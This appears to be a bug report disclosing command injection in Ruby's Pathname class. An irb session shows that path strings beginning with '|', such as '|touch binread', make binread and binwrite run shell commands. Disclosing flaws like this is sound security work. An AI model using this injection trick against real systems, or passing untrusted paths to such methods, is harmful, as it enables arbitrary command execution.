Command injection in Pathname

The command may be executed when the value passed to Pathname is the first character of "|". This is the same problem as https://bugs.ruby-lang.org/issues/14245, but here it is executed without warning.

$ ruby -v
ruby 2.5.3p105 (2018-10-18 revision 65156) [x86_64-darwin16]

$ irb
irb(main):001:0> `ls`
=> ""

irb(main):002:0> require 'pathname'
=> true
irb(main):003:0> Pathname("|touch binread").binread
=> ""
irb(main):004:0> Pathname("|touch binwrite").binwrite("")
=> 0
irb(main):005:0> …